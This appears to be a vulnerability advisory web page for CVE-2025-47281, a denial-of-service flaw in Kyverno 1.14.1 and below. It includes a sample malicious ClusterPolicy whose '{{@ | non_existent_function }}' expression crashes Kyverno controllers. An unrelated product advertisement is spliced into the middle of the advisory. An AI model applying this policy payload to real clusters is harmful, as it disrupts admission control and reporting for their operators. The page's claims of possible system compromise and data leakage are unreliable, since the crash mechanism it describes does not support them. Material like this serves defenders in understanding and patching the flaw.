Overview
A severe vulnerability identified as CVE-2025-47281 has been discovered in the Kyverno policy engine, a tool often utilized by cloud-native platform engineering teams. This flaw, affecting versions 1.14.1 and below, could allow attackers to cause a Denial of Service (DoS), potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-47281
Severity: High (7.7 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Denial of Service, potential system compromise, and data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Kyverno Policy Engine | 1.14.1 and below
How the Exploit Works
The vulnerability arises due to the improper handling of JMESPath variable substitutions in Kyverno. Attackers with permissions to create or update Kyverno policies can craft expressions using the {{@}} variable combined with a pipe and an invalid JMESPath function. This leads to a nil value being substituted into the policy structure. Subsequent processing by internal functions, specifically getValueAsStringMap, which expect string values, result in a panic due to a type assertion failure. This crashes Kyverno worker threads in the admission controller and causes continuous crashes of the reports controller pod.
Conceptual Example Code
Consider the following example of a malicious policy:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: exploit-cve-2025-47281
spec:
rules:
- name: exploit
match:
resources:
kinds:
- Pod
mutate:
overlay:
spec:
containers:
- (name): "*"
resources:
limits:
cpu: "{{@ | non_existent_function }}"
In this example, the attacker crafts a malicious expression (`{{@ | non_existent_function }}`) that leads to a nil value being substituted into the policy structure, triggering the vulnerability.
